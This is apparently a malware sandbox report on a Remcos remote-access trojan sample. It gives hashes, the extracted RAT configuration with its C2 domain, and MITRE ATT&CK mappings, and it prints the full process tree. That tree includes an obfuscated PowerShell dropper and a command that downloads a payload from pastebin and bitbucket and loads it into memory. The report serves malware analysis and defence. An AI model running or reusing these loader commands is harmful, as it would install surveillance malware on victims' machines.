remcos | 0326f574a5085f27933c0cfbbec4854bf9f6d0ce10413084eadecd9593b18ba5

General

Target

sostener.vbs
Size

15.4MB
MD5

44913cf72b3ddfb4a9944106448627de
SHA1

85a8a9607ffd5cb1a8b98454bc0f1f402235449e
SHA256

0326f574a5085f27933c0cfbbec4854bf9f6d0ce10413084eadecd9593b18ba5
SHA512

773aa0c83c462c49587d31c4f598cc7aa5b6e45a3adf2fd41037897525f3b4371456812e0bf5a30e658d71f4c33cbf7f3bc04563021e645706231fd182b3f040
SSDEEP

192:9HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHB:B2oGsecM+F3

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Extracted

Family

remcos

Botnet

RemoteHost

C2

remcosoct.duckdns.org:4576

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-OY344C
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 5 IoCs

flow	pid	Process
7	1920	powershell.exe
8	1920	powershell.exe
10	1920	powershell.exe
19	1920	powershell.exe
22	1920	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2352	powershell.exe
1920	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
10	bitbucket.org
6	pastebin.com
8	pastebin.com
9	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1920 set thread context of 1180	1920	powershell.exe	85

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2352	powershell.exe
2352	powershell.exe
1920	powershell.exe
1920	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1180	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeDebugPrivilege	1920	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1180	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1828 wrote to memory of 2352	1828	WScript.exe	82
PID 1828 wrote to memory of 2352	1828	WScript.exe	82
PID 2352 wrote to memory of 1920	2352	powershell.exe	84
PID 2352 wrote to memory of 1920	2352	powershell.exe	84
PID 1920 wrote to memory of 1180	1920	powershell.exe	85
PID 1920 wrote to memory of 1180	1920	powershell.exe	85
PID 1920 wrote to memory of 1180	1920	powershell.exe	85
PID 1920 wrote to memory of 1180	1920	powershell.exe	85
PID 1920 wrote to memory of 1180	1920	powershell.exe	85
PID 1920 wrote to memory of 1180	1920	powershell.exe	85
PID 1920 wrote to memory of 1180	1920	powershell.exe	85
PID 1920 wrote to memory of 1180	1920	powershell.exe	85
PID 1920 wrote to memory of 1180	1920	powershell.exe	85
PID 1920 wrote to memory of 1180	1920	powershell.exe	85
PID 1920 wrote to memory of 1180	1920	powershell.exe	85
PID 1920 wrote to memory of 1180	1920	powershell.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆B3☆G4☆ZQBl☆Gg☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆Hk☆ZgBs☆GE☆aQ☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆H☆☆YQBw☆HE☆Z☆☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆Bw☆GE☆c☆Bx☆GQ☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆HQ☆e☆B0☆C4☆c☆Bl☆HM☆Nw☆y☆HI☆ZQBu☆GU☆d☆Bz☆G8☆cw☆v☆HM☆Z☆Bh☆G8☆b☆Bu☆Hc☆bwBk☆C8☆bwB0☆HM☆bwBn☆GE☆LwBz☆HM☆bwBp☆HY☆bgBl☆C8☆ZwBy☆G8☆LgB0☆GU☆awBj☆HU☆YgB0☆Gk☆Yg☆v☆C8☆OgBz☆H☆☆d☆B0☆Gg☆Jw☆g☆Cw☆I☆☆k☆Hk☆ZgBs☆GE☆aQ☆g☆Cw☆I☆☆n☆F8☆XwBf☆F8☆XwBf☆HM☆Z☆Bz☆GQ☆cwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆LQ☆t☆C0☆LQ☆t☆C0☆LQ☆n☆Cw☆I☆☆k☆Hc☆bgBl☆GU☆a☆☆s☆C☆☆Jw☆x☆Cc☆L☆☆g☆Cc☆UgBv☆GQ☆YQ☆n☆C☆☆KQ☆p☆Ds☆';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$wneeh = '0';$yflai = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $papqd = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($papqd).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('txt.pes72renetsos/sdaolnwod/otsoga/ssoivne/gro.tekcubtib//:sptth' , $yflai , '______sdsds______________________________________-------', $wneeh, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of SetWindowsHookEx
      PID:1180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
7594429d062f17c7466b91afa4628786

SHA1
7ecfd0c4c7a0839472b67d6d5bdb79f5cd89ebf8

SHA256
8152c68de91b719538642166e19dfc9864a7aea64c3675025d85b30abaa5db92

SHA512
218a4e798d1b9043ba21e7d7bf66b4203db452b403e080a83ecad413e9faaf58eb88934f8436ebd2ef409bd22bb24d4a97e6e3e97c226b556be38ffd9dcaaa17

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
94cc8aa302136c58a17742da02e54c48

SHA1
06c269d1a0b648467cc627162d8c2a0727d94123

SHA256
8ff32c0be04cd2af2b9cd5ddb61d74c94af99a9ebad6a57b0e4f3f7896ef7225

SHA512
7d06f705121fcfc8e5d84ab3c7b5a23343e0f5731931a279c2794eefdbb32222f2f3c812767bd05c20dcc2251bb24713351f47865bd9c70e9cdbd600d79292de

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30cvx1hf.iw0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1180-41-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-34-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-51-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-42-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-25-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-73-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-72-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-62-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-32-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1180-61-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1920-24-0x0000020239280000-0x000002023928A000-memory.dmp

Filesize
40KB

Download
memory/1920-23-0x0000020238890000-0x0000020238898000-memory.dmp

Filesize
32KB

Download
memory/2352-11-0x00007FFB61570000-0x00007FFB62031000-memory.dmp

Filesize
10.8MB

Download
memory/2352-10-0x0000016E663F0000-0x0000016E66412000-memory.dmp

Filesize
136KB

Download
memory/2352-0-0x00007FFB61573000-0x00007FFB61575000-memory.dmp

Filesize
8KB

Download
memory/2352-31-0x00007FFB61570000-0x00007FFB62031000-memory.dmp

Filesize
10.8MB

Download
memory/2352-13-0x00007FFB61570000-0x00007FFB62031000-memory.dmp

Filesize
10.8MB

Download
memory/2352-12-0x00007FFB61570000-0x00007FFB62031000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads